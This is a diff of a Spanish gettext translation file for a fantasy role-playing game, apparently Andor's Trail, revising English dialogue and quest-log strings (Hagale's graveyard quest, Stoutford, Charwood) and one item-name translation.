msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22477,12 +22508,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22490,15 +22517,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22531,7 +22550,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22543,7 +22562,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22599,7 +22618,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22607,7 +22626,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22619,7 +22638,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22756,7 +22775,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22765,7 +22784,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22790,18 +22809,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22824,14 +22845,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -23047,7 +23060,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23149,7 +23162,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23184,62 +23197,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24473,7 +24430,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24655,7 +24612,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26363,7 +26319,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26371,7 +26327,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26432,7 +26388,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26466,7 +26422,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26517,10 +26473,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26581,7 +26533,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26992,7 +26944,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27168,7 +27120,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27319,7 +27271,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27345,7 +27297,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27479,7 +27430,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27487,7 +27438,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27495,7 +27448,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27592,6 +27545,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27737,7 +27698,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27757,10 +27717,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27774,7 +27730,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27909,11 +27865,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27954,10 +27905,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27994,11 +27941,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -28023,10 +27965,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -28048,10 +27986,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -28068,11 +28010,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28168,7 +28106,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28258,7 +28196,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28294,7 +28232,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28617,7 +28555,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28629,7 +28567,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28649,7 +28587,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29159,11 +29097,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29175,7 +29113,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29193,11 +29131,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29213,11 +29151,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29225,7 +29163,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29417,62 +29355,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr "Puñal"
@@ -30841,7 +30723,7 @@ msgstr ""
#: itemlist_v0611_3.json:algangror_idol
msgid "Small idol"
msgstr "�dolo pequeño"
msgstr "Ídolo pequeño"
#: itemlist_v0611_3.json:algangror_ring
msgid "Algangror's ring"
@@ -31393,10 +31275,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31453,10 +31331,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31469,10 +31343,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36473,11 +36343,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36505,7 +36375,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36513,7 +36383,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36529,7 +36399,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -37089,7 +36959,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37109,7 +36979,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37120,14 +36990,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37136,10 +36998,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37157,7 +37015,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
